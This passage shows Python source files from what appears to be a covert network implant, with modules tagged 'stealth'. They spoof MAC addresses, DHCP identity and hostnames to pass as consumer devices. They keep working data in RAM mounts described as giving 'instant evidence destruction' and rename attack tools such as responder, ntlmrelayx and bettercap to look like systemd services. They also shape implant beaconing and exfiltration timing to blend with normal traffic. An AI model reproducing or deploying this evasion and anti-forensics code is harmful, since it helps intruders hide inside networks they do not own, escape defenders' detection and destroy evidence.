oui = profile.get("oui", "FC:65:DE")
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
new_mac = f"{oui}:{suffix}"
profile["applied_mac"] = new_mac
wifi_ifaces = set(get_wifi_interfaces())
# Set MAC on Ethernet — skip if it's also a WiFi interface (changing MAC
# on an associated WiFi interface drops the connection and causes ENETDOWN
# on all AF_PACKET sockets bound to it).
if self._eth_iface:
if self._eth_iface in wifi_ifaces:
logger.info(
"Skipping MAC change on %s — active WiFi interface, would break association",
self._eth_iface,
)
else:
try:
set_mac(self._eth_iface, new_mac)
logger.debug("Set %s MAC to %s", self._eth_iface, new_mac)
except Exception as exc:
logger.error("Failed to set MAC on %s: %s", self._eth_iface, exc)
# Set MAC on WiFi only if it's a separate interface from the primary eth
# (e.g., a dedicated monitor card). Same interface = already handled above.
if self._wifi_iface and self._wifi_iface != self._eth_iface:
wifi_suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
wifi_mac = f"{oui}:{wifi_suffix}"
try:
set_mac(self._wifi_iface, wifi_mac)
profile["applied_wifi_mac"] = wifi_mac
logger.debug("Set %s MAC to %s", self._wifi_iface, wifi_mac)
except Exception as exc:
logger.error("Failed to set WiFi MAC on %s: %s", self._wifi_iface, exc)
# DHCP configuration
self._write_dhclient_conf(profile)
# TCP stack tuning
ttl = profile.get("ttl", 64)
tcp_win = profile.get("tcp_window", 65535)
set_ttl(ttl)
set_tcp_window(tcp_win)
set_tcp_timestamps(True) # Most consumer devices have timestamps enabled
logger.debug("TCP stack: TTL=%d, window=%d", ttl, tcp_win)
self._set_system_hostname(profile)
def _write_dhclient_conf(self, profile: dict) -> None:
"""Write dhclient.conf with hostname + vendor class matching the profile."""
hostname = profile.get("dhcp_hostname", "localhost")
vendor_class = profile.get("dhcp_vendor_class", "")
conf_path = "/etc/dhcp/dhclient.conf.d"
conf_file = os.path.join(conf_path, "bb-profile.conf")
try:
os.makedirs(conf_path, exist_ok=True)
lines = [
f'send host-name "{hostname}";',
]
if vendor_class:
lines.append(f'send vendor-class-identifier "{vendor_class}";')
with open(conf_file, "w") as f:
f.write("\n".join(lines) + "\n")
logger.debug("Wrote DHCP config: hostname=%s, vendor=%s", hostname, vendor_class)
except (IOError, PermissionError) as exc:
logger.warning("Failed to write dhclient.conf: %s", exc)
def _set_system_hostname(self, profile: dict) -> None:
"""Set system hostname to match the device profile for full fingerprint consistency."""
import subprocess
hostname = profile.get("dhcp_hostname", "")
if not hostname:
return
suffix = "".join(f"{random.randint(0, 15):x}" for _ in range(4))
new_hostname = f"{hostname}-{suffix}"
try:
subprocess.run(
["hostnamectl", "set-hostname", new_hostname],
check=True, capture_output=True,
)
profile["applied_hostname"] = new_hostname
logger.info("System hostname set to %s", new_hostname)
except Exception as exc:
logger.warning("Failed to set hostname: %s", exc)
def _cleanup_dhclient_conf(self) -> None:
"""Remove our DHCP config on clean exit."""
conf_file = "/etc/dhcp/dhclient.conf.d/bb-profile.conf"
try:
if os.path.isfile(conf_file):
os.unlink(conf_file)
except (IOError, PermissionError):
pass
+269
View File
@@ -0,0 +1,269 @@
#!/usr/bin/env python3
"""OverlayFS manager: mount root filesystem as overlayfs with tmpfs upper layer
so all writes go to RAM and vanish on reboot. Zero SD card write activity."""
import logging
import os
import shutil
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
logger = logging.getLogger(__name__)
# Default overlay paths
OVERLAY_BASE = "/opt/.cache/bb/overlay"
OVERLAY_UPPER = os.path.join(OVERLAY_BASE, "upper")
OVERLAY_WORK = os.path.join(OVERLAY_BASE, "work")
OVERLAY_MERGED = os.path.join(OVERLAY_BASE, "merged")
# Size budgets per tier (MB)
TIER_SIZE_BUDGETS = {
TIER_OPI_ZERO3: 200,
TIER_PI_ZERO: 30,
TIER_GENERIC: None, # unlimited
}
class OverlayfsManager(BaseModule):
"""Mount an overlayfs with read-only lower (real FS) and tmpfs upper (RAM).
All writes go to tmpfs -- zero SD card activity. Writes vanish on reboot."""
name = "overlayfs_manager"
module_type = "stealth"
priority = -450
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._overlay_base = config.get("overlay_base", OVERLAY_BASE)
self._upper_dir = config.get("overlay_upper", OVERLAY_UPPER)
self._work_dir = config.get("overlay_work", OVERLAY_WORK)
self._merged_dir = config.get("overlay_merged", OVERLAY_MERGED)
self._lower_dir = config.get("overlay_lower", "/opt/.cache/bb")
self._overlay_active = False
self._tmpfs_mounted = False
self._upper_limit_mb: Optional[int] = None
self._tier = get_hardware_tier()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
# Determine size budget from hardware tier
self._upper_limit_mb = TIER_SIZE_BUDGETS.get(self._tier)
if self._upper_limit_mb is None and self._tier not in TIER_SIZE_BUDGETS:
# Unknown tier: default conservative
self._upper_limit_mb = 200
# Create overlay structure
if not self._setup_overlay():
logger.error("OverlayFS setup failed")
self.state.set_module_status(self.name, "error",
extra={"reason": "setup_failed"})
return
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info(
"OverlayFS active — upper limit: %s MB, tier: %s",
self._upper_limit_mb or "unlimited", self._tier,
)
def stop(self) -> None:
self._running = False
self._teardown_overlay()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("OverlayFS stopped and unmounted")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"overlay_active": self._overlay_active,
"tmpfs_mounted": self._tmpfs_mounted,
"upper_usage_mb": self._get_upper_usage_mb(),
"upper_limit_mb": self._upper_limit_mb,
"tier": self._tier,
"merged_dir": self._merged_dir,
}
def configure(self, config: dict) -> None:
if "overlay_lower" in config:
self._lower_dir = config["overlay_lower"]
# ------------------------------------------------------------------
# Public: overlay path helpers
# ------------------------------------------------------------------
@property
def merged_path(self) -> str:
"""Return the merged overlay mount point (use this as working directory)."""
return self._merged_dir
def get_upper_usage_mb(self) -> float:
"""Return current tmpfs upper layer usage in MB."""
return self._get_upper_usage_mb()
def is_near_limit(self, threshold_pct: float = 85.0) -> bool:
"""Check if upper layer usage is approaching the size budget."""
if self._upper_limit_mb is None:
return False
usage = self._get_upper_usage_mb()
return (usage / self._upper_limit_mb * 100) >= threshold_pct
# ------------------------------------------------------------------
# Internal: setup and teardown
# ------------------------------------------------------------------
def _setup_overlay(self) -> bool:
"""Create tmpfs mount and overlayfs mount."""
try:
# Create all directories
for d in [self._overlay_base, self._upper_dir, self._work_dir, self._merged_dir]:
os.makedirs(d, mode=0o700, exist_ok=True)
# Ensure lower directory exists
os.makedirs(self._lower_dir, mode=0o700, exist_ok=True)
# Mount tmpfs on the overlay base with size limit
if not self._is_mounted(self._overlay_base):
size_opt = f"size={self._upper_limit_mb}m" if self._upper_limit_mb else "size=50%"
result = subprocess.run(
["mount", "-t", "tmpfs", "-o", f"{size_opt},mode=0700",
"tmpfs", self._overlay_base],
capture_output=True, timeout=30,
)
if result.returncode != 0:
logger.error(
"tmpfs mount failed: %s",
result.stderr.decode(errors="replace"),
)
return False
self._tmpfs_mounted = True
# Recreate subdirectories on fresh tmpfs
for d in [self._upper_dir, self._work_dir, self._merged_dir]:
os.makedirs(d, mode=0o700, exist_ok=True)
logger.info("tmpfs mounted at %s (%s)", self._overlay_base, size_opt)
else:
self._tmpfs_mounted = True
# Mount overlayfs
if not self._is_mounted(self._merged_dir):
mount_opts = (
f"lowerdir={self._lower_dir},"
f"upperdir={self._upper_dir},"
f"workdir={self._work_dir}"
)
result = subprocess.run(
["mount", "-t", "overlay", "overlay",
"-o", mount_opts, self._merged_dir],
capture_output=True, timeout=30,
)
if result.returncode != 0:
stderr = result.stderr.decode(errors="replace")
logger.error("overlayfs mount failed: %s", stderr)
# Cleanup tmpfs if overlay fails
self._unmount(self._overlay_base)
self._tmpfs_mounted = False
return False
self._overlay_active = True
logger.info("overlayfs mounted at %s", self._merged_dir)
else:
self._overlay_active = True
return True
except Exception:
logger.exception("Overlay setup failed")
return False
def _teardown_overlay(self) -> None:
"""Sync and unmount overlay, then tmpfs."""
# Sync any pending writes
try:
subprocess.run(["sync"], timeout=10, capture_output=True)
except Exception:
pass
# Unmount overlay first
if self._overlay_active:
if self._unmount(self._merged_dir):
self._overlay_active = False
logger.info("overlayfs unmounted")
# Unmount tmpfs (all data in upper layer is destroyed)
if self._tmpfs_mounted:
if self._unmount(self._overlay_base):
self._tmpfs_mounted = False
logger.info("tmpfs unmounted — all overlay writes destroyed")
# ------------------------------------------------------------------
# Internal: mount helpers
# ------------------------------------------------------------------
@staticmethod
def _is_mounted(path: str) -> bool:
"""Check if a path is a mount point."""
try:
with open("/proc/mounts", "r") as f:
for line in f:
parts = line.split()
if len(parts) >= 2 and parts[1] == path:
return True
except IOError:
pass
return False
@staticmethod
def _unmount(path: str, lazy: bool = False) -> bool:
"""Unmount a filesystem. Uses lazy unmount as fallback."""
try:
cmd = ["umount", path]
result = subprocess.run(cmd, capture_output=True, timeout=30)
if result.returncode == 0:
return True
if not lazy:
# Retry with lazy unmount
cmd = ["umount", "-l", path]
result = subprocess.run(cmd, capture_output=True, timeout=30)
if result.returncode == 0:
return True
logger.warning(
"Failed to unmount %s: %s",
path, result.stderr.decode(errors="replace"),
)
return False
except Exception:
logger.exception("Unmount failed: %s", path)
return False
# ------------------------------------------------------------------
# Internal: usage tracking
# ------------------------------------------------------------------
def _get_upper_usage_mb(self) -> float:
"""Get current size of the tmpfs upper layer in MB."""
if not self._tmpfs_mounted:
return 0.0
try:
stat = os.statvfs(self._overlay_base)
total = stat.f_blocks * stat.f_frsize
free = stat.f_bavail * stat.f_frsize
used = total - free
return used / (1024 * 1024)
except OSError:
return 0.0
+179
View File
@@ -0,0 +1,179 @@
#!/usr/bin/env python3
"""Process disguise module — rename all SystemMonitor processes to look like
legitimate system services.
Reads process name mappings from stealth.yaml, renames own processes via
prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module
processes as they start.
"""
import logging
import os
import time
import threading
from typing import Dict, Optional
from modules.base import BaseModule
from utils.stealth import rename_process, spoof_cmdline
logger = logging.getLogger(__name__)
class ProcessDisguise(BaseModule):
"""Rename all managed processes to innocuous system service names."""
name = "process_disguise"
module_type = "stealth"
priority = -400
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._name_map: Dict[str, str] = {} # original -> disguised
self._disguised_pids: Dict[int, str] = {} # pid -> fake_name
self._lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Load process name mappings from stealth.yaml config
stealth_cfg = self.config.get("stealth_yaml", {})
self._name_map = stealth_cfg.get("process_names", {})
if not self._name_map:
# Fallback defaults matching stealth.yaml
self._name_map = {
"python3": "systemd-thermald",
"bettercap": "networkd-dispatcher",
"tcpdump": "systemd-netlogd",
"responder": "systemd-resolved",
"mitmproxy": "systemd-networkd",
"ntlmrelayx": "systemd-logind",
"hostapd": "wpa_supplicant",
"dnsmasq": "systemd-resolved",
}
# Disguise own process first
own_fake = self._name_map.get("python3", "systemd-thermald")
self._apply_disguise(os.getpid(), own_fake)
# Spoof /proc/self/cmdline
spoof_cmdline(own_fake)
# Subscribe to bus events for auto-disguise
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info(
"ProcessDisguise active — %d name mappings loaded, own PID %d -> %s",
len(self._name_map), os.getpid(), own_fake,
)
def stop(self) -> None:
if not self._running:
return
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids))
def status(self) -> dict:
with self._lock:
pids_snapshot = dict(self._disguised_pids)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"disguised_pids": pids_snapshot,
"total_disguised": len(pids_snapshot),
"name_mappings": len(self._name_map),
}
def configure(self, config: dict) -> None:
self.config.update(config)
new_names = config.get("stealth_yaml", {}).get("process_names")
if new_names:
self._name_map.update(new_names)
# ------------------------------------------------------------------
# Public API for other modules / tool_manager
# ------------------------------------------------------------------
def disguise_pid(self, pid: int, name: str) -> bool:
"""Disguise an arbitrary PID with the given fake name.
Called by tool_manager or other modules to rename external processes.
For external processes, we write to /proc/PID/comm (requires root or
same user).
"""
return self._apply_disguise(pid, name)
def get_fake_name(self, original_name: str) -> str:
"""Look up the disguise name for a process. Returns original if no mapping."""
return self._name_map.get(original_name, original_name)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_module_started(self, event) -> None:
"""Auto-disguise newly started module processes."""
payload = event.payload
pid = payload.get("pid")
module_name = payload.get("module", "")
if pid and pid != os.getpid():
# Python modules get the python3 disguise name
fake = self._name_map.get("python3", "systemd-thermald")
self._apply_disguise(pid, fake)
logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake)
def _on_tool_restarted(self, event) -> None:
"""Re-disguise restarted tool processes."""
payload = event.payload
pid = payload.get("pid")
tool_name = payload.get("tool", "")
if pid:
fake = self._name_map.get(tool_name, tool_name)
self._apply_disguise(pid, fake)
logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake)
# ------------------------------------------------------------------
# Internal
# ------------------------------------------------------------------
def _apply_disguise(self, pid: int, fake_name: str) -> bool:
"""Apply a process name disguise to the given PID."""
success = False
if pid == os.getpid():
# Own process — use prctl
success = rename_process(fake_name)
else:
# External process — write to /proc/PID/comm
try:
comm_path = f"/proc/{pid}/comm"
with open(comm_path, "w") as f:
f.write(fake_name[:15])
success = True
except (IOError, PermissionError, FileNotFoundError) as exc:
logger.debug("Cannot disguise PID %d: %s", pid, exc)
if success:
with self._lock:
self._disguised_pids[pid] = fake_name
return success
+273
View File
@@ -0,0 +1,273 @@
#!/usr/bin/env python3
"""tmpfs manager — RAM-backed mounts for sensitive operations.
Creates tmpfs mounts for working directories, runtime state, and SQLite WAL
files. Power loss = instant evidence destruction since tmpfs is RAM-only.
Size limits are tier-aware (OPi Zero 3: 200MB, Pi Zero: 30MB, generic: 512MB).
"""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Dict, List, Optional, Tuple
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
logger = logging.getLogger(__name__)
# Default tmpfs size limits per tier (MB)
_TIER_TMPFS_LIMITS = {
TIER_OPI_ZERO3: 200,
TIER_PI_ZERO: 30,
TIER_GENERIC: 512,
}
class TmpfsManager(BaseModule):
"""Manage tmpfs mounts for RAM-only sensitive storage."""
name = "tmpfs_manager"
module_type = "stealth"
priority = -450
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._mounts: Dict[str, dict] = {} # mount_point -> {size_mb, purpose}
self._install_path: str = ""
self._tier_limit_mb: int = 200
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._install_path = self.config.get("device", {}).get(
"install_path", "/opt/.cache/bb"
)
# Determine tier-based tmpfs limit
tier = get_hardware_tier()
hw_tiers = self.config.get("hardware_tiers", {})
tier_cfg = hw_tiers.get(tier, {})
self._tier_limit_mb = tier_cfg.get(
"overlayfs_mb",
_TIER_TMPFS_LIMITS.get(tier, 200),
) or _TIER_TMPFS_LIMITS.get(tier, 200)
# Create and mount tmpfs volumes
tmp_path = os.path.join(self._install_path, "tmp")
run_path = os.path.join(self._install_path, "run")
# Split budget: 70% for tmp (working data), 30% for run (runtime state)
tmp_size = int(self._tier_limit_mb * 0.7)
run_size = int(self._tier_limit_mb * 0.3)
self._mount_tmpfs(tmp_path, tmp_size, "general tmpfs working directory")
self._mount_tmpfs(run_path, run_size, "runtime state")
# Create standard subdirectories
for subdir in ("wal", "work", "modules"):
os.makedirs(os.path.join(tmp_path, subdir), exist_ok=True)
for subdir in ("pids", "sockets", "locks"):
os.makedirs(os.path.join(run_path, subdir), exist_ok=True)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info(
"TmpfsManager active — %d mounts, tier=%s, budget=%dMB",
len(self._mounts), tier, self._tier_limit_mb,
)
def stop(self) -> None:
if not self._running:
return
# Unmount in reverse order (most recently mounted first)
for mount_point in reversed(list(self._mounts.keys())):
self._unmount_tmpfs(mount_point)
self._mounts.clear()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("TmpfsManager stopped — all tmpfs mounts removed")
def status(self) -> dict:
mounts_info = []
for mount_point, info in self._mounts.items():
entry = {
"mount_point": mount_point,
"size_mb": info["size_mb"],
"purpose": info["purpose"],
}
# Get current usage
try:
stat = os.statvfs(mount_point)
total = stat.f_blocks * stat.f_frsize
free = stat.f_bavail * stat.f_frsize
used = total - free
entry["used_mb"] = round(used / (1024 * 1024), 1)
entry["free_mb"] = round(free / (1024 * 1024), 1)
entry["used_pct"] = round((used / total) * 100, 1) if total > 0 else 0
except OSError:
entry["used_mb"] = 0
entry["free_mb"] = 0
entry["used_pct"] = 0
mounts_info.append(entry)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"tier_limit_mb": self._tier_limit_mb,
"mount_count": len(self._mounts),
"mounts": mounts_info,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def get_tmp_path(self) -> Optional[str]:
"""Return the general tmpfs working directory, or None if not mounted."""
path = os.path.join(self._install_path, "tmp")
return path if path in self._mounts else None
def get_run_path(self) -> Optional[str]:
"""Return the runtime state tmpfs path, or None if not mounted."""
path = os.path.join(self._install_path, "run")
return path if path in self._mounts else None
def get_wal_path(self) -> Optional[str]:
"""Return the WAL file tmpfs directory for SQLite databases."""
tmp = self.get_tmp_path()
if tmp:
wal_dir = os.path.join(tmp, "wal")
return wal_dir if os.path.isdir(wal_dir) else None
return None
def get_module_workdir(self, module_name: str) -> Optional[str]:
"""Get or create a per-module working directory on tmpfs."""
tmp = self.get_tmp_path()
if not tmp:
return None
workdir = os.path.join(tmp, "modules", module_name)
os.makedirs(workdir, exist_ok=True)
return workdir
def symlink_wal(self, db_path: str) -> bool:
"""Symlink a SQLite WAL file from its storage location to tmpfs.
Call this after creating/opening a SQLite database so the WAL file
lives in RAM instead of on disk.
Args:
db_path: Path to the .db file (the WAL will be at db_path + '-wal')
Returns:
True if the symlink was created successfully.
"""
wal_dir = self.get_wal_path()
if not wal_dir:
return False
wal_source = db_path + "-wal"
db_name = os.path.basename(db_path)
wal_target = os.path.join(wal_dir, db_name + "-wal")
try:
# Remove existing WAL if present
if os.path.exists(wal_source) and not os.path.islink(wal_source):
os.unlink(wal_source)
# Create symlink: storage/foo.db-wal -> tmpfs/wal/foo.db-wal
if not os.path.islink(wal_source):
os.symlink(wal_target, wal_source)
# Also handle the -shm file
shm_source = db_path + "-shm"
shm_target = os.path.join(wal_dir, db_name + "-shm")
if os.path.exists(shm_source) and not os.path.islink(shm_source):
os.unlink(shm_source)
if not os.path.islink(shm_source):
os.symlink(shm_target, shm_source)
logger.debug("WAL symlinked: %s -> %s", wal_source, wal_target)
return True
except (IOError, OSError) as exc:
logger.warning("Failed to symlink WAL for %s: %s", db_path, exc)
return False
# ------------------------------------------------------------------
# Internal mount management
# ------------------------------------------------------------------
def _mount_tmpfs(self, mount_point: str, size_mb: int, purpose: str) -> bool:
"""Create a tmpfs mount at the given path."""
try:
os.makedirs(mount_point, exist_ok=True)
# Check if already mounted
if self._is_mounted(mount_point):
logger.debug("Already mounted: %s", mount_point)
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
return True
subprocess.run(
["mount", "-t", "tmpfs", "-o", f"size={size_mb}m,mode=0700,nodev,nosuid",
"tmpfs", mount_point],
check=True, capture_output=True,
)
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
logger.debug("Mounted tmpfs: %s (%dMB) — %s", mount_point, size_mb, purpose)
return True
except (subprocess.CalledProcessError, OSError) as exc:
logger.error("Failed to mount tmpfs at %s: %s", mount_point, exc)
return False
def _unmount_tmpfs(self, mount_point: str) -> bool:
"""Unmount a tmpfs mount."""
try:
if self._is_mounted(mount_point):
subprocess.run(
["umount", "-l", mount_point], # lazy unmount for safety
check=True, capture_output=True,
)
logger.debug("Unmounted tmpfs: %s", mount_point)
# Clean up the directory
try:
os.rmdir(mount_point)
except OSError:
pass # Directory may not be empty or may not exist
return True
except subprocess.CalledProcessError as exc:
logger.warning("Failed to unmount %s: %s", mount_point, exc)
return False
@staticmethod
def _is_mounted(path: str) -> bool:
"""Check if a path is a mount point."""
try:
with open("/proc/mounts", "r") as f:
for line in f:
fields = line.split()
if len(fields) >= 2 and fields[1] == path:
return True
except IOError:
pass
return False
+336
View File
@@ -0,0 +1,336 @@
#!/usr/bin/env python3
"""Traffic mimicry module: baseline normal traffic patterns then shape
implant communications to match observed characteristics."""
import json
import logging
import os
import random
import time
import threading
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
PHASE_BASELINE = "baseline"
PHASE_SHAPING = "shaping"
# Default baseline storage
BASELINE_DIR = "storage/baseline"
class TrafficMimicry(BaseModule):
"""Two-phase traffic mimicry: 48h baseline collection then traffic shaping
to match observed network patterns."""
name = "traffic_mimicry"
module_type = "stealth"
priority = -200
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._phase = PHASE_BASELINE
self._baseline_hours = config.get("baseline_hours", 48)
self._shape_exfil = config.get("shape_exfil", True)
self._match_protocols = config.get("match_protocols", True)
self._jitter_pct = config.get("jitter_pct", 15)
self._baseline_dir = config.get("baseline_dir", BASELINE_DIR)
self._baseline_start: Optional[float] = None
self._baseline_data = self._empty_baseline()
self._monitor_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
Path(self._baseline_dir).mkdir(parents=True, exist_ok=True)
# Check if we have a saved baseline
saved = self._load_baseline()
if saved and self._baseline_complete(saved):
self._baseline_data = saved
self._phase = PHASE_SHAPING
logger.info("TrafficMimicry loaded existing baseline — entering shaping phase")
else:
self._phase = PHASE_BASELINE
self._baseline_start = time.time()
logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours)
# Subscribe to capture events for baseline data
self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
# Background thread for periodic baseline updates and phase transitions
self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
)
self._monitor_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
def stop(self) -> None:
self._running = False
self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
if self._monitor_thread and self._monitor_thread.is_alive():
self._monitor_thread.join(timeout=5.0)
# Persist current baseline
self._save_baseline()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("TrafficMimicry stopped")
def status(self) -> dict:
with self._lock:
completeness = self._baseline_completeness_pct()
deviation = self._traffic_deviation_score()
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"phase": self._phase,
"baseline_completeness_pct": completeness,
"traffic_deviation_score": deviation,
"baseline_hours_configured": self._baseline_hours,
"baseline_hours_elapsed": self._baseline_hours_elapsed(),
}
def configure(self, config: dict) -> None:
if "baseline_hours" in config:
self._baseline_hours = config["baseline_hours"]
if "shape_exfil" in config:
self._shape_exfil = config["shape_exfil"]
if "match_protocols" in config:
self._match_protocols = config["match_protocols"]
if "jitter_pct" in config:
self._jitter_pct = config["jitter_pct"]
# ------------------------------------------------------------------
# Traffic shaping API (called by other modules)
# ------------------------------------------------------------------
def get_recommended_beacon_interval(self) -> float:
"""Return a beacon interval (seconds) that matches observed periodic traffic."""
with self._lock:
intervals = self._baseline_data.get("periodic_intervals", [])
if not intervals:
return 300.0 # Default 5min if no baseline
# Pick the most common periodic interval and add jitter
base = random.choice(intervals)
jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1)
return max(10.0, base + jitter)
def get_recommended_exfil_window(self) -> dict:
"""Return recommended exfil timing based on baseline upload patterns."""
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return {"hour": 3, "duration_minutes": 15} # Default: 3 AM
# Find peak upload hour
peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3)
return {
"hour": int(peak_hour),
"duration_minutes": 30,
"max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024),
}
def should_send_now(self) -> bool:
"""Check if current time matches a high-traffic period (safe to send)."""
if self._phase == PHASE_BASELINE:
return False # Don't shape during baseline
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return True
current_hour = str(time.localtime().tm_hour)
hour_data = hourly.get(current_hour, {})
volume = hour_data.get("total_bytes", 0)
avg_volume = sum(
h.get("total_bytes", 0) for h in hourly.values()
) / max(len(hourly), 1)
# Only send when current hour volume is above average
return volume >= avg_volume * 0.5
# ------------------------------------------------------------------
# Internal: baseline collection
# ------------------------------------------------------------------
@staticmethod
def _empty_baseline() -> dict:
return {
"protocol_distribution": {},
"hourly_volume": {},
"inter_packet_timing": [],
"common_dest_ports": {},
"tls_versions": {},
"periodic_intervals": [],
"samples": 0,
"start_time": None,
"end_time": None,
}
def _on_pcap_event(self, event) -> None:
"""Handle PCAP_ROTATED events for baseline data collection."""
if self._phase != PHASE_BASELINE:
return
payload = event.payload
with self._lock:
self._update_baseline_from_pcap(payload)
def _update_baseline_from_pcap(self, payload: dict) -> None:
"""Extract traffic pattern data from PCAP rotation event payload."""
bd = self._baseline_data
bd["samples"] += 1
if bd["start_time"] is None:
bd["start_time"] = time.time()
bd["end_time"] = time.time()
# Protocol distribution from payload stats
protocols = payload.get("protocol_stats", {})
for proto, count in protocols.items():
bd["protocol_distribution"][proto] = (
bd["protocol_distribution"].get(proto, 0) + count
)
# Hourly volume
hour = str(time.localtime().tm_hour)
if hour not in bd["hourly_volume"]:
bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0}
bytes_captured = payload.get("bytes_captured", 0)
bd["hourly_volume"][hour]["total_bytes"] += bytes_captured
bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0)
bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0)
# Destination ports
dest_ports = payload.get("dest_ports", {})
for port, count in dest_ports.items():
bd["common_dest_ports"][str(port)] = (
bd["common_dest_ports"].get(str(port), 0) + count
)
# TLS versions
tls = payload.get("tls_versions", {})
for ver, count in tls.items():
bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count
# Periodic intervals (from beacon-like patterns)
intervals = payload.get("periodic_intervals", [])
bd["periodic_intervals"].extend(intervals)
# Keep only the top 50 intervals to bound memory
if len(bd["periodic_intervals"]) > 50:
bd["periodic_intervals"] = bd["periodic_intervals"][-50:]
# ------------------------------------------------------------------
# Internal: phase management
# ------------------------------------------------------------------
def _monitor_loop(self) -> None:
"""Background loop: check phase transitions and save baselines."""
while self._running:
time.sleep(60) # Check every minute
try:
if self._phase == PHASE_BASELINE:
elapsed = self._baseline_hours_elapsed()
if elapsed >= self._baseline_hours:
self._transition_to_shaping()
elif int(elapsed) % 4 == 0:
# Save interim baseline every ~4 hours
self._save_baseline()
except Exception:
logger.exception("TrafficMimicry monitor loop error")
def _transition_to_shaping(self) -> None:
"""Switch from baseline collection to traffic shaping."""
with self._lock:
self._phase = PHASE_SHAPING
self._save_baseline()
logger.info(
"TrafficMimicry: baseline complete (%d samples) — entering shaping phase",
self._baseline_data["samples"],
)
self.bus.emit(
"CHANGE_DETECTED",
{"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING},
source_module=self.name,
)
def _baseline_hours_elapsed(self) -> float:
if self._baseline_start is None:
return 0.0
return (time.time() - self._baseline_start) / 3600.0
def _baseline_completeness_pct(self) -> float:
"""How complete is the baseline (0-100)?"""
if self._phase == PHASE_SHAPING:
return 100.0
elapsed = self._baseline_hours_elapsed()
time_pct = min(100.0, (elapsed / self._baseline_hours) * 100)
# Also factor in data quality: need protocol and hourly data
data_score = 0.0
bd = self._baseline_data
if bd["protocol_distribution"]:
data_score += 25.0
if len(bd["hourly_volume"]) >= 12:
data_score += 25.0
elif bd["hourly_volume"]:
data_score += 10.0
if bd["common_dest_ports"]:
data_score += 25.0
if bd["samples"] >= 10:
data_score += 25.0
return min(100.0, (time_pct * 0.6) + (data_score * 0.4))
def _baseline_complete(self, data: dict) -> bool:
"""Check if a loaded baseline has sufficient data."""
return (
bool(data.get("protocol_distribution"))
and len(data.get("hourly_volume", {})) >= 6
and data.get("samples", 0) >= 5
)
